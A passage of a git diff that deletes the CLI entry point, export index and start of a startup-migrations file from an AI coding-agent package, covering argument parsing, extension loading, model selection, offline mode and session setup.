collectEntriesForBranchSummary, - compact, - DEFAULT_COMPACTION_SETTINGS, - estimateTokens, - type FileOperations, - findCutPoint, - findTurnStartIndex, - type GenerateBranchSummaryOptions, - generateBranchSummary, - generateSummary, - getLastAssistantUsage, - prepareBranchEntries, - serializeConversation, - shouldCompact, -} from "./core/compaction/index.js"; -export { ModelDiscoveryCache } from "./core/discovery-cache.js"; -export { - createEventBus, - type EventBus, - type EventBusController, -} from "./core/event-bus.js"; -// Extension system -export type { - AdjustToolSetEvent, - AdjustToolSetResult, - AgentEndEvent, - AgentStartEvent, - AgentToolResult, - AgentToolUpdateCallback, - AppAction, - BashToolCallEvent, - BashTransformEvent, - BashTransformEventResult, - BeforeAgentStartEvent, - BeforeProviderRequestEvent, - BeforeProviderRequestEventResult, - CompactOptions, - ContextEvent, - ContextUsage, - CustomToolCallEvent, - EditToolCallEvent, - ExecOptions, - ExecResult, - Extension, - ExtensionActions, - ExtensionAPI, - ExtensionCommandContext, - ExtensionCommandContextActions, - ExtensionContext, - ExtensionContextActions, - ExtensionError, - ExtensionEvent, - ExtensionFactory, - ExtensionFlag, - ExtensionHandler, - ExtensionManifest, - ExtensionRuntime, - ExtensionShortcut, - ExtensionStartupContext, - ExtensionUIContext, - ExtensionUIDialogOptions, - ExtensionWidgetOptions, - FindToolCallEvent, - GrepToolCallEvent, - InputEvent, - InputEventResult, - InputSource, - KeybindingsManager, - LifecycleHookContext, - LifecycleHookHandler, - LifecycleHookMap, - LifecycleHookPhase, - LifecycleHookScope, - LoadExtensionsResult, - LsToolCallEvent, - MessageRenderer, - MessageRenderOptions, - ProviderConfig, - ProviderModelConfig, - ReadToolCallEvent, - RegisteredCommand, - RegisteredTool, - SessionBeforeCompactEvent, - SessionBeforeForkEvent, - SessionBeforeSwitchEvent, - SessionBeforeTreeEvent, - SessionCompactEvent, - SessionForkEvent, - SessionShutdownEvent, - SessionStartEvent, - SessionSwitchEvent, - SessionTreeEvent, - SlashCommandInfo, - SlashCommandLocation, - SlashCommandSource, - SortResult, - SortWarning, - TerminalInputHandler, - ToolCallEvent, - ToolCompatibility, - ToolDefinition, - ToolInfo, - ToolRenderResultOptions, - ToolResultEvent, - TurnEndEvent, - TurnStartEvent, - UserBashEvent, - UserBashEventResult, - WidgetPlacement, - WriteToolCallEvent, -} from "./core/extensions/index.js"; -export { - createExtensionRuntime, - discoverAndLoadExtensions, - ExtensionRunner, - importExtensionModule, - isToolCallEventType, - isToolResultEventType, - readManifest, - readManifestFromEntryPath, - sortExtensionPaths, - wrapRegisteredTool, - wrapRegisteredTools, - wrapToolsWithExtensions, - wrapToolWithExtensions, -} from "./core/extensions/index.js"; -// Footer data provider (git branch + extension statuses - data not otherwise available to extensions) -export type { ReadonlyFooterDataProvider } from "./core/footer-data-provider.js"; -export { FederatedMemoryProvider } from "./core/memory/federated-memory.js"; -export { convertToLlm } from "./core/messages.js"; -export type { - DiscoveredModel, - DiscoveryResult, - DiscoverySourceType, - ProviderDiscoveryAdapter, -} from "./core/model-discovery.js"; -export { - getDiscoverableCatalogSources, - getDiscoverableProviders, - getDiscoveryAdapter, -} from "./core/model-discovery.js"; -export { ModelRegistry } from "./core/model-registry.js"; -export { ModelsJsonWriter } from "./core/models-json-writer.js"; -export type { - PackageCommand, - PackageCommandOptions, - PackageCommandRunnerOptions, - PackageCommandRunnerResult, -} from "./core/package-commands.js"; -export { - getPackageCommandUsage, - parsePackageCommand, - runPackageCommand, -} from "./core/package-commands.js"; -export type { - PackageManager, - PathMetadata, - ProgressCallback, - ProgressEvent, - ResolvedPaths, - ResolvedResource, -} from "./core/package-manager.js"; -export { DefaultPackageManager } from "./core/package-manager.js"; -export { - getAllowedCommandPrefixes, - SAFE_COMMAND_PREFIXES, - setAllowedCommandPrefixes, -} from "./core/resolve-config-value.js"; -export type { - ResourceCollision, - ResourceDiagnostic, - ResourceLoader, -} from "./core/resource-loader.js"; -export { DefaultResourceLoader } from "./core/resource-loader.js"; -// SDK for programmatic usage -export { - type CreateAgentSessionOptions, - type CreateAgentSessionResult, - CredentialCooldownError, - // Factory - createAgentSession, - createBashTool, - // Tool factories (for custom cwd) - createCodingTools, - createEditTool, - createFindTool, - createGrepTool, - createLsTool, - createReadOnlyTools, - createReadTool, - createWriteTool, - type PromptTemplate, - // Pre-built tools (use process.cwd()) - readOnlyTools, -} from "./core/sdk.js"; -export { - type BranchSummaryEntry, - buildSessionContext, - type CompactionEntry, - CURRENT_SESSION_VERSION, - type CustomEntry, - type CustomMessageEntry, - type FileEntry, - getLatestCompactionEntry, - type ModelChangeEntry, - migrateSessionEntries, - type NewSessionOptions, - parseSessionEntries, - type SessionContext, - type SessionEntry, - type SessionEntryBase, - type SessionHeader, - type SessionInfo, - type SessionInfoEntry, - SessionManager, - type SessionMessageEntry, - type ThinkingLevelChangeEntry, -} from "./core/session-manager.js"; -export { - type AsyncSettings, - type CompactionSettings, - type ImageSettings, - type MemorySettings, - type PackageSource, - type RetrySettings, - SettingsManager, - type TaskIsolationSettings, -} from "./core/settings-manager.js"; -// Skills -export { - ECOSYSTEM_PROJECT_SKILLS_DIR, - ECOSYSTEM_SKILLS_DIR, - formatSkillsForPrompt, - getLoadedSkills, - type LoadSkillsFromDirOptions, - type LoadSkillsResult, - loadSkills, - loadSkillsFromDir, - type Skill, - type SkillFrontmatter, -} from "./core/skills.js"; -// Tools -export { - type BashInterceptorRule, - type BashOperations, - type BashSpawnContext, - type BashSpawnHook, - type BashToolDetails, - type BashToolInput, - type BashToolOptions, - bashTool, - type CompiledInterceptor, - checkBashInterception, - codingTools, - compileInterceptor, - createHashlineCodingTools, - createHashlineEditTool, - createHashlineReadTool, - DEFAULT_BASH_INTERCEPTOR_RULES, - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - type EditOperations, - type EditToolDetails, - type EditToolInput, - type EditToolOptions, - editTool, - type FindOperations, - type FindToolDetails, - type FindToolInput, - type FindToolOptions, - findTool, - formatSize, - type GrepOperations, - type GrepToolDetails, - type GrepToolInput, - type GrepToolOptions, - getAllToolCompatibility, - getToolCompatibility, - grepTool, - type HashlineEditInput, - type HashlineEditToolDetails, - type HashlineEditToolOptions, - type HashlineReadToolDetails, - type HashlineReadToolInput, - type HashlineReadToolOptions, - hashlineCodingTools, - // Hashline edit mode tools - hashlineEditTool, - hashlineReadTool, - type LsOperations, - type LsToolDetails, - type LsToolInput, - type LsToolOptions, - lsTool, - type ReadOperations, - type ReadToolDetails, - type ReadToolInput, - type ReadToolOptions, - readTool, - registerMcpToolCompatibility, - // Tool compatibility registry (ADR-005) - registerToolCompatibility, - resetToolCompatibilityRegistry, - rewriteBackgroundCommand, - type ToolsOptions, - type TruncationOptions, - type TruncationResult, - truncateHead, - truncateLine, - truncateTail, - type WriteOperations, - type WriteToolInput, - type WriteToolOptions, - writeTool, -} from "./core/tools/index.js"; -// Main entry point -export { main } from "./main.js"; -// Run modes for programmatic SDK usage -export { - InteractiveMode, - type InteractiveModeOptions, - type ModelInfo, - type PrintModeOptions, - RpcClient, - type RpcClientOptions, - type RpcCommand, - type RpcEventListener, - type RpcInitResult, - type RpcProtocolVersion, - type RpcResponse, - type RpcSessionState, - type RpcV2Event, - runPrintMode, - runRpcMode, -} from "./modes/index.js"; -// UI components for extensions -export { - ArminComponent, - AssistantMessageComponent, - appKey, - appKeyHint, - BashExecutionComponent, - BorderedLoader, - BranchSummaryMessageComponent, - CompactionSummaryMessageComponent, - CustomEditor, - CustomMessageComponent, - DynamicBorder, - ExtensionEditorComponent, - ExtensionInputComponent, - ExtensionSelectorComponent, - editorKey, - FooterComponent, - keyHint, - LoginDialogComponent, - ModelSelectorComponent, - OAuthSelectorComponent, - ProviderManagerComponent, - type RenderDiffOptions, - rawKeyHint, - renderDiff, - SessionSelectorComponent, - type SettingsCallbacks, - type SettingsConfig, - SettingsSelectorComponent, - ShowImagesSelectorComponent, - SkillInvocationMessageComponent, - ThemeSelectorComponent, - ThinkingSelectorComponent, - ToolExecutionComponent, - type ToolExecutionOptions, - TreeSelectorComponent, - truncateToVisualLines, - UserMessageComponent, - UserMessageSelectorComponent, - type VisualTruncateResult, -} from "./modes/interactive/components/index.js"; -// Theme utilities for custom tools and extensions -export { - getLanguageFromPath, - getMarkdownTheme, - getSelectListTheme, - getSettingsListTheme, - highlightCode, - initTheme, - Theme, - type ThemeColor, -} from "./modes/interactive/theme/theme.js"; -// RPC JSONL utilities -export { attachJsonlLineReader, serializeJsonLine } from "./modes/rpc/jsonl.js"; -// Clipboard utilities -export { copyToClipboard } from "./utils/clipboard.js"; -export { parseFrontmatter, stripFrontmatter } from "./utils/frontmatter.js"; -// Cross-platform path display -export { toPosixPath } from "./utils/path-display.js"; -// Shell utilities -export { getShellConfig, sanitizeCommand } from "./utils/shell.js"; diff --git a/packages/pi-coding-agent/src/main.ts b/packages/pi-coding-agent/src/main.ts deleted file mode 100644 index 92115d8db..000000000 --- a/packages/pi-coding-agent/src/main.ts +++ /dev/null @@ -1,815 +0,0 @@ -/** - * Main entry point for the coding agent CLI. - * - * This file handles CLI argument parsing and translates them into - * createAgentSession() options. The SDK does the heavy lifting. - */ - -import { createInterface } from "node:readline"; -import { - type ImageContent, - modelsAreEqual, - supportsXhigh, -} from "@singularity-forge/pi-ai"; -import chalk from "chalk"; -import { - type Args, - type ExtensionFlagParseOptions, - parseArgs, - printHelp, -} from "./cli/args.js"; -import { selectConfig } from "./cli/config-selector.js"; -import { processFileArguments } from "./cli/file-processor.js"; -import { discoverAndPrintModels, listModels } from "./cli/list-models.js"; -import { selectSession } from "./cli/session-picker.js"; -import { APP_NAME, getAgentDir, getModelsPath, VERSION } from "./config.js"; -import { AuthStorage } from "./core/auth-storage.js"; -import { exportFromFile } from "./core/export-html/index.js"; -import type { LoadExtensionsResult } from "./core/extensions/index.js"; -import { KeybindingsManager } from "./core/keybindings.js"; -import { ModelRegistry } from "./core/model-registry.js"; -import { - resolveCliModel, - resolveModelScope, - type ScopedModel, -} from "./core/model-resolver.js"; -import { runPackageCommand } from "./core/package-commands.js"; -import { DefaultPackageManager } from "./core/package-manager.js"; -import { DefaultResourceLoader } from "./core/resource-loader.js"; -import { - type CreateAgentSessionOptions, - createAgentSession, -} from "./core/sdk.js"; -import { SessionManager } from "./core/session-manager.js"; -import { SettingsManager } from "./core/settings-manager.js"; -import { printTimings, time } from "./core/timings.js"; -import { allTools } from "./core/tools/index.js"; -import { runMigrations, showDeprecationWarnings } from "./migrations.js"; -import { InteractiveMode, runPrintMode, runRpcMode } from "./modes/index.js"; -import { - initTheme, - stopThemeWatcher, -} from "./modes/interactive/theme/theme.js"; - -/** - * Read all content from piped stdin. - * Returns undefined if stdin is a TTY (interactive terminal). - */ -async function readPipedStdin(): Promise { - // If stdin is a TTY, we're running interactively - don't read stdin - if (process.stdin.isTTY) { - return undefined; - } - - return new Promise((resolve) => { - let data = ""; - process.stdin.setEncoding("utf8"); - process.stdin.on("data", (chunk) => { - data += chunk; - }); - process.stdin.on("end", () => { - resolve(data.trim() || undefined); - }); - process.stdin.resume(); - }); -} - -function reportSettingsErrors( - settingsManager: SettingsManager, - context: string, -): void { - const errors = settingsManager.drainErrors(); - for (const { scope, error } of errors) { - console.error( - chalk.yellow(`Warning (${context}, ${scope} settings): ${error.message}`), - ); - if (error.stack) { - console.error(chalk.dim(error.stack)); - } - } -} - -function isTruthyEnvFlag(value: string | undefined): boolean { - if (!value) return false; - return ( - value === "1" || - value.toLowerCase() === "true" || - value.toLowerCase() === "yes" - ); -} - -async function prepareInitialMessage( - parsed: Args, - autoResizeImages: boolean, -): Promise<{ - initialMessage?: string; - initialImages?: ImageContent[]; -}> { - if (parsed.fileArgs.length === 0) { - return {}; - } - - const { text, images } = await processFileArguments(parsed.fileArgs, { - autoResizeImages, - }); - - let initialMessage: string; - if (parsed.messages.length > 0) { - initialMessage = text + parsed.messages[0]; - parsed.messages.shift(); - } else { - initialMessage = text; - } - - return { - initialMessage, - initialImages: images.length > 0 ? images : undefined, - }; -} - -/** Result from resolving a session argument */ -type ResolvedSession = - | { type: "path"; path: string } // Direct file path - | { type: "local"; path: string } // Found in current project - | { type: "global"; path: string; cwd: string } // Found in different project - | { type: "not_found"; arg: string }; // Not found anywhere - -/** - * Resolve a session argument to a file path. - * If it looks like a path, use as-is. Otherwise try to match as session ID prefix. - */ -async function resolveSessionPath( - sessionArg: string, - cwd: string, - sessionDir?: string, -): Promise { - // If it looks like a file path, use as-is - if ( - sessionArg.includes("/") || - sessionArg.includes("\\") || - sessionArg.endsWith(".jsonl") - ) { - return { type: "path", path: sessionArg }; - } - - // Try to match as session ID in current project first - const localSessions = await SessionManager.list(cwd, sessionDir); - const localMatches = localSessions.filter((s) => s.id.startsWith(sessionArg)); - - if (localMatches.length >= 1) { - return { type: "local", path: localMatches[0].path }; - } - - // Try global search across all projects - const allSessions = await SessionManager.listAll(); - const globalMatches = allSessions.filter((s) => s.id.startsWith(sessionArg)); - - if (globalMatches.length >= 1) { - const match = globalMatches[0]; - return { type: "global", path: match.path, cwd: match.cwd }; - } - - // Not found anywhere - return { type: "not_found", arg: sessionArg }; -} - -/** Prompt user for yes/no confirmation */ -async function promptConfirm(message: string): Promise { - return new Promise((resolve) => { - const rl = createInterface({ - input: process.stdin, - output: process.stdout, - }); - rl.question(`${message} [y/N] `, (answer) => { - rl.close(); - resolve(answer.toLowerCase() === "y" || answer.toLowerCase() === "yes"); - }); - }); -} - -/** Helper to call CLI-only session_directory handlers before the initial session manager is created */ -async function callSessionDirectoryHook( - extensions: LoadExtensionsResult, - cwd: string, -): Promise { - let customSessionDir: string | undefined; - - for (const ext of extensions.extensions) { - const handlers = ext.handlers.get("session_directory"); - if (!handlers || handlers.length === 0) continue; - - for (const handler of handlers) { - try { - const event = { type: "session_directory" as const, cwd }; - const result = (await handler(event)) as - | { sessionDir?: string } - | undefined; - - if (result?.sessionDir) { - customSessionDir = result.sessionDir; - } - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - console.error( - chalk.red( - `Extension "${ext.path}" session_directory handler failed: ${message}`, - ), - ); - } - } - } - - return customSessionDir; -} - -async function createSessionManager( - parsed: Args, - cwd: string, - extensions: LoadExtensionsResult, -): Promise { - if (parsed.noSession) { - return SessionManager.inMemory(); - } - - // CLI flag takes precedence, otherwise ask extensions for custom session directory - let effectiveSessionDir = parsed.sessionDir; - if (!effectiveSessionDir) { - effectiveSessionDir = await callSessionDirectoryHook(extensions, cwd); - } - - if (parsed.session) { - const resolved = await resolveSessionPath( - parsed.session, - cwd, - effectiveSessionDir, - ); - - switch (resolved.type) { - case "path": - case "local": - return SessionManager.open(resolved.path, effectiveSessionDir); - - case "global": { - // Session found in different project - ask user if they want to fork - console.log( - chalk.yellow(`Session found in different project: ${resolved.cwd}`), - ); - const shouldFork = await promptConfirm( - "Fork this session into current directory?", - ); - if (!shouldFork) { - console.log(chalk.dim("Aborted.")); - process.exit(0); - } - return SessionManager.forkFrom(resolved.path, cwd, effectiveSessionDir); - } - - case "not_found": - console.error(chalk.red(`No session found matching '${resolved.arg}'`)); - process.exit(1); - } - } - if (parsed.continue) { - return SessionManager.continueRecent(cwd, effectiveSessionDir); - } - // --resume is handled separately (needs picker UI) - // If effective session dir is set, create new session there - if (effectiveSessionDir) { - return SessionManager.create(cwd, effectiveSessionDir); - } - // Default case (new session) returns undefined, SDK will create one - return undefined; -} - -async function runStartupFlagHandlers( - extensions: LoadExtensionsResult, - parsed: Args, - context: { - cwd: string; - agentDir: string; - authStorage: AuthStorage; - modelRegistry: ModelRegistry; - }, -): Promise { - let handledStartup = false; - - for (const extension of extensions.extensions) { - for (const [flagName, flag] of extension.flags) { - const flagValue = parsed.unknownFlags.get(flagName); - if (flagValue === undefined || !flag.onStartup) { - continue; - } - - await flag.onStartup(flagValue, context); - handledStartup = true; - } - } - - return handledStartup; -} - -function buildSessionOptions( - parsed: Args, - scopedModels: ScopedModel[], - sessionManager: SessionManager | undefined, - modelRegistry: ModelRegistry, - settingsManager: SettingsManager, -): { options: CreateAgentSessionOptions; cliThinkingFromModel: boolean } { - const options: CreateAgentSessionOptions = {}; - let cliThinkingFromModel = false; - - if (sessionManager) { - options.sessionManager = sessionManager; - } - - // Model from CLI - // - supports --provider --model - // - supports --model / - if (parsed.model) { - const resolved = resolveCliModel({ - cliProvider: parsed.provider, - cliModel: parsed.model, - modelRegistry, - }); - if (resolved.warning) { - console.warn(chalk.yellow(`Warning: ${resolved.warning}`)); - } - if (resolved.error) { - console.error(chalk.red(resolved.error)); - process.exit(1); - } - if (resolved.model) { - options.model = resolved.model; - // Allow "--model :" as a shorthand. - // Explicit --thinking still takes precedence (applied later). - if (!parsed.thinking && resolved.thinkingLevel) { - options.thinkingLevel = resolved.thinkingLevel; - cliThinkingFromModel = true; - } - } - } - - if ( - !options.model && - scopedModels.length > 0 && - !parsed.continue && - !parsed.resume - ) { - // Check if saved default is in scoped models - use it if so, otherwise first scoped model - const savedProvider = settingsManager.getDefaultProvider(); - const savedModelId = settingsManager.getDefaultModel(); - const savedModel = - savedProvider && savedModelId - ? modelRegistry.find(savedProvider, savedModelId) - : undefined; - const savedInScope = savedModel - ? scopedModels.find((sm) => modelsAreEqual(sm.model, savedModel)) - : undefined; - - if (savedInScope) { - options.model = savedInScope.model; - // Use thinking level from scoped model config if explicitly set - if (!parsed.thinking && savedInScope.thinkingLevel) { - options.thinkingLevel = savedInScope.thinkingLevel; - } - } else { - options.model = scopedModels[0].model; - // Use thinking level from first scoped model if explicitly set - if (!parsed.thinking && scopedModels[0].thinkingLevel) { - options.thinkingLevel = scopedModels[0].thinkingLevel; - } - } - } - - // Thinking level from CLI (takes precedence over scoped model thinking levels set above) - if (parsed.thinking) { - options.thinkingLevel = parsed.thinking; - } - - // Scoped models for Ctrl+P cycling - // Keep thinking level undefined when not explicitly set in the model pattern. - // Undefined means "inherit current session thinking level" during cycling. - if (scopedModels.length > 0) { - options.scopedModels = scopedModels.map((sm) => ({ - model: sm.model, - thinkingLevel: sm.thinkingLevel, - })); - } - - // API key from CLI - set in authStorage - // (handled by caller before createAgentSession) - - // Tools - if (parsed.noTools) { - // --no-tools: start with no built-in tools - // --tools can still add specific ones back - if (parsed.tools && parsed.tools.length > 0) { - options.tools = parsed.tools.map((name) => allTools[name]); - } else { - options.tools = []; - } - } else if (parsed.tools) { - options.tools = parsed.tools.map((name) => allTools[name]); - } - - return { options, cliThinkingFromModel }; -} - -async function handleConfigCommand(args: string[]): Promise { - if (args[0] !== "config") { - return false; - } - - const cwd = process.cwd(); - const agentDir = getAgentDir(); - const settingsManager = SettingsManager.create(cwd, agentDir); - reportSettingsErrors(settingsManager, "config command"); - const packageManager = new DefaultPackageManager({ - cwd, - agentDir, - settingsManager, - }); - - const resolvedPaths = await packageManager.resolve(); - - await selectConfig({ - resolvedPaths, - settingsManager, - cwd, - agentDir, - }); - - process.exit(0); -} - -export async function main(args: string[]) { - // Catch unhandled promise rejections so the process doesn't silently disappear - process.on("unhandledRejection", (reason) => { - const message = - reason instanceof Error - ? (reason.stack ?? reason.message) - : String(reason); - console.error(`\nFatal: unhandled promise rejection\n${message}`); - process.exitCode = 1; - }); - - const offlineMode = - args.includes("--offline") || isTruthyEnvFlag(process.env.PI_OFFLINE); - if (offlineMode) { - process.env.PI_OFFLINE = "1"; - process.env.PI_SKIP_VERSION_CHECK = "1"; - } - - const packageCommand = await runPackageCommand({ - appName: APP_NAME, - args, - cwd: process.cwd(), - agentDir: getAgentDir(), - stdout: process.stdout, - stderr: process.stderr, - }); - if (packageCommand.handled) { - process.exitCode = packageCommand.exitCode; - return; - } - - if (await handleConfigCommand(args)) { - return; - } - - // Run migrations (pass cwd for project-local migrations) - const { migratedAuthProviders: migratedProviders, deprecationWarnings } = - runMigrations(process.cwd()); - - // First pass: parse args to get --extension paths - const firstPass = parseArgs(args); - - // Early load extensions to discover their CLI flags - const cwd = process.cwd(); - const agentDir = getAgentDir(); - const settingsManager = SettingsManager.create(cwd, agentDir); - reportSettingsErrors(settingsManager, "startup"); - const authStorage = AuthStorage.create(); - const modelRegistry = new ModelRegistry( - authStorage, - getModelsPath(), - settingsManager, - ); - - // Offline mode validation / auto-detection - if (offlineMode) { - // --offline flag: validate all models are local - if (!modelRegistry.isAllLocalChain()) { - const remoteModel = modelRegistry - .getAll() - .find((m) => !ModelRegistry.isLocalModel(m)); - if (remoteModel) { - console.error( - `Error: --offline requires all configured models to be local. Found remote model: ${remoteModel.name} (${remoteModel.baseUrl || "cloud API"})`, - ); - process.exit(1); - } - } - } else if ( - modelRegistry.isAllLocalChain() && - modelRegistry.getAll().length > 0 - ) { - // Auto-detect: all models are local, enable offline mode - process.env.PI_OFFLINE = "1"; - process.env.PI_SKIP_VERSION_CHECK = "1"; - console.log( - "[sf] All configured models are local \u2014 enabling offline mode automatically.", - ); - } - - const resourceLoader = new DefaultResourceLoader({ - cwd, - agentDir, - settingsManager, - additionalExtensionPaths: firstPass.extensions, - additionalSkillPaths: firstPass.skills, - additionalPromptTemplatePaths: firstPass.promptTemplates, - additionalThemePaths: firstPass.themes, - noExtensions: firstPass.noExtensions, - noSkills: firstPass.noSkills || firstPass.bare, - noPromptTemplates: firstPass.noPromptTemplates || firstPass.bare, - noThemes: firstPass.noThemes || firstPass.bare, - systemPrompt: firstPass.systemPrompt, - appendSystemPrompt: firstPass.appendSystemPrompt, - // --bare: suppress CLAUDE.md/AGENTS.md ancestor walk - ...(firstPass.bare - ? { agentsFilesOverride: () => ({ agentsFiles: [] }) } - : {}), - }); - await resourceLoader.reload(); - time("resourceLoader.reload"); - - const extensionsResult: LoadExtensionsResult = resourceLoader.getExtensions(); - for (const { path, error } of extensionsResult.errors) { - console.error(chalk.red(`Failed to load extension "${path}": ${error}`)); - } - - // Apply pending provider registrations from extensions immediately - // so they're available for model resolution before AgentSession is created - for (const { name, config } of extensionsResult.runtime - .pendingProviderRegistrations) { - modelRegistry.registerProvider(name, config); - } - extensionsResult.runtime.pendingProviderRegistrations = []; - - const extensionFlags = new Map(); - for (const ext of extensionsResult.extensions) { - for (const [name, flag] of ext.flags) { - extensionFlags.set(name, { - type: flag.type, - allowNoValue: flag.allowNoValue, - }); - } - } - - // Second pass: parse args with extension flags - const parsed = parseArgs(args, extensionFlags); - - // Pass flag values to extensions via runtime - for (const [name, value] of parsed.unknownFlags) { - extensionsResult.runtime.flagValues.set(name, value); - } - - if (parsed.version) { - console.log(VERSION); - process.exit(0); - } - - if (parsed.help) { - printHelp(); - process.exit(0); - } - - if (parsed.addProvider) { - const { ModelsJsonWriter } = await import("./core/models-json-writer.js"); - const writer = new ModelsJsonWriter(); - writer.setProvider(parsed.addProvider, { - baseUrl: parsed.addProviderBaseUrl, - apiKey: parsed.apiKey, - }); - console.log(`Provider "${parsed.addProvider}" added to models.json`); - process.exit(0); - } - - if (parsed.discoverModels !== undefined) { - const provider = - typeof parsed.discoverModels === "string" - ? parsed.discoverModels - : undefined; - await discoverAndPrintModels(modelRegistry, provider); - process.exit(0); - } - - if (parsed.listModels !== undefined) { - const searchPattern = - typeof parsed.listModels === "string" ? parsed.listModels : undefined; - await listModels(modelRegistry, { - searchPattern, - discover: parsed.discover, - }); - process.exit(0); - } - - if ( - await runStartupFlagHandlers(extensionsResult, parsed, { - cwd, - agentDir, - authStorage, - modelRegistry, - }) - ) { - return; - } - - // Read piped stdin content (if any) - skip for RPC mode which uses stdin for JSON-RPC - if (parsed.mode !== "rpc") { - const stdinContent = await readPipedStdin(); - if (stdinContent !== undefined) { - // Force print mode since interactive mode requires a TTY for keyboard input - parsed.print = true; - // Prepend stdin content to messages - parsed.messages.unshift(stdinContent); - } - } - - if (parsed.export) { - let result: string; - try { - const outputPath = - parsed.messages.length > 0 ? parsed.messages[0] : undefined; - result = await exportFromFile(parsed.export, outputPath); - } catch (error: unknown) { - const message = - error instanceof Error ? error.message : "Failed to export session"; - console.error(chalk.red(`Error: ${message}`)); - process.exit(1); - } - console.log(`Exported to: ${result}`); - process.exit(0); - } - - if (parsed.mode === "rpc" && parsed.fileArgs.length > 0) { - console.error( - chalk.red("Error: @file arguments are not supported in RPC mode"), - ); - process.exit(1); - } - - const { initialMessage, initialImages } = await prepareInitialMessage( - parsed, - settingsManager.getImageAutoResize(), - ); - const isInteractive = !parsed.print && parsed.mode === undefined; - const mode = parsed.mode || "text"; - initTheme(settingsManager.getTheme(), isInteractive); - - // Show deprecation warnings in interactive mode - if (isInteractive && deprecationWarnings.length > 0) { - await showDeprecationWarnings(deprecationWarnings); - } - - let scopedModels: ScopedModel[] = []; - const modelPatterns = parsed.models ?? settingsManager.getEnabledModels(); - if (modelPatterns && modelPatterns.length > 0) { - scopedModels = await resolveModelScope(modelPatterns, modelRegistry); - } - - // Create session manager based on CLI flags - let sessionManager = await createSessionManager( - parsed, - cwd, - extensionsResult, - ); - - // Handle --resume: show session picker - if (parsed.resume) { - // Initialize keybindings so session picker respects user config - KeybindingsManager.create(); - - // Compute effective session dir for resume (same logic as createSessionManager) - const effectiveSessionDir = - parsed.sessionDir || - (await callSessionDirectoryHook(extensionsResult, cwd)); - - const selectedPath = await selectSession( - (onProgress) => SessionManager.list(cwd, effectiveSessionDir, onProgress), - SessionManager.listAll, - ); - if (!selectedPath) { - console.log(chalk.dim("No session selected")); - stopThemeWatcher(); - process.exit(0); - } - sessionManager = SessionManager.open(selectedPath, effectiveSessionDir); - } - - const { options: sessionOptions, cliThinkingFromModel } = buildSessionOptions( - parsed, - scopedModels, - sessionManager, - modelRegistry, - settingsManager, - ); - sessionOptions.authStorage = authStorage; - sessionOptions.modelRegistry = modelRegistry; - sessionOptions.resourceLoader = resourceLoader; - // Persistence of defaultProvider/defaultModel to settings.json is an - // interactive-only opt-in. AgentSessionConfig.persistModelChanges defaults - // to false (#4251) so SDK consumers and one-shot/print/rpc/mcp invocations - // never silently mutate the global default. Interactive CLI launches - // explicitly opt in so user model picks still persist. - sessionOptions.persistModelChanges = isInteractive; - - // Handle CLI --api-key as runtime override (not persisted) - if (parsed.apiKey) { - if (!sessionOptions.model) { - console.error( - chalk.red( - "--api-key requires a model to be specified via --model, --provider/--model, or --models", - ), - ); - process.exit(1); - } - authStorage.setRuntimeApiKey(sessionOptions.model.provider, parsed.apiKey); - } - - const { session, modelFallbackMessage } = - await createAgentSession(sessionOptions); - - if (!isInteractive && !session.model) { - console.error(chalk.red("No models available.")); - console.error(chalk.yellow("\nSet an API key environment variable:")); - console.error( - " ANTHROPIC_API_KEY, OPENAI_API_KEY, OPENROUTER_API_KEY, etc.", - ); - console.error(chalk.yellow(`\nOr create ${getModelsPath()}`)); - process.exit(1); - } - - // Clamp thinking level to model capabilities for CLI-provided thinking levels. - // This covers both --thinking and --model :. - const cliThinkingOverride = - parsed.thinking !== undefined || cliThinkingFromModel; - if (session.model && cliThinkingOverride) { - let effectiveThinking = session.thinkingLevel; - if (!session.model.reasoning) { - effectiveThinking = "off"; - } else if (effectiveThinking === "xhigh" && !supportsXhigh(session.model)) { - effectiveThinking = "high"; - } - if (effectiveThinking !== session.thinkingLevel) { - session.setThinkingLevel(effectiveThinking); - } - } - - if (mode === "rpc") { - await runRpcMode(session); - } else if (isInteractive) { - if ( - scopedModels.length > 0 && - (parsed.verbose || !settingsManager.getQuietStartup()) - ) { - const modelList = scopedModels - .map((sm) => { - const thinkingStr = sm.thinkingLevel ? `:${sm.thinkingLevel}` : ""; - return `${sm.model.id}${thinkingStr}`; - }) - .join(", "); - console.log( - chalk.dim( - `Model scope: ${modelList} ${chalk.gray("(Ctrl+P to cycle)")}`, - ), - ); - } - - printTimings(); - const mode = new InteractiveMode(session, { - migratedProviders, - modelFallbackMessage, - initialMessage, - initialImages, - initialMessages: parsed.messages, - verbose: parsed.verbose, - }); - await mode.run(); - } else { - await runPrintMode(session, { - mode, - messages: parsed.messages, - initialMessage, - initialImages, - }); - stopThemeWatcher(); - if (process.stdout.writableLength > 0) { - await new Promise((resolve) => - process.stdout.once("drain", resolve), - ); - } - process.exit(0); - } -} diff --git a/packages/pi-coding-agent/src/migrations.ts b/packages/pi-coding-agent/src/migrations.ts deleted file mode 100644 index 9402b34e1..000000000 --- a/packages/pi-coding-agent/src/migrations.ts +++ /dev/null @@ -1,308 +0,0 @@ -/** - * One-time migrations that run on startup. - */ - -import { - existsSync, - mkdirSync, - readdirSync, - readFileSync, - renameSync, - rmSync, - writeFileSync, -} from "node:fs"; -import { dirname, join } from "node:path"; -import chalk from "chalk"; -import { CONFIG_DIR_NAME, getAgentDir, getBinDir } from "./config.js"; - -const MIGRATION_GUIDE_URL = - "https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/CHANGELOG.md#extensions-migration"; -const EXTENSIONS_DOC_URL = - "https://github.com/badlogic/pi-mono/blob/main/packages/coding-agent/docs/extensions.md"; - -/** - * Migrate legacy oauth.json and settings.json apiKeys to auth.json. - * - * @returns Array of provider names that were migrated - */ -function migrateAuthToAuthJson(): string[] { - const agentDir = getAgentDir(); - const authPath = join(agentDir, "auth.json"); - const oauthPath = join(agentDir, "oauth.json"); - const settingsPath = join(agentDir, "settings.json"); - - // Skip if auth.json already exists - if (existsSync(authPath)) return []; - - const migrated: Record = {}; - const providers: string[] = []; - - // Migrate oauth.json - if (existsSync(oauthPath)) { - try { - const oauth = JSON.parse(readFileSync(oauthPath, "utf-8")); - for (const [provider, cred] of Object.entries(oauth)) { - migrated[provider] = { type: "oauth", ...(cred as object) }; - providers.push(provider); - } - renameSync(oauthPath, `${oauthPath}.migrated`); - } catch { - // Skip on error - } - } - - // Migrate settings.json apiKeys - if (existsSync(settingsPath)) { - try { - const content = readFileSync(settingsPath, "utf-8"); - const settings = JSON.parse(content); - if 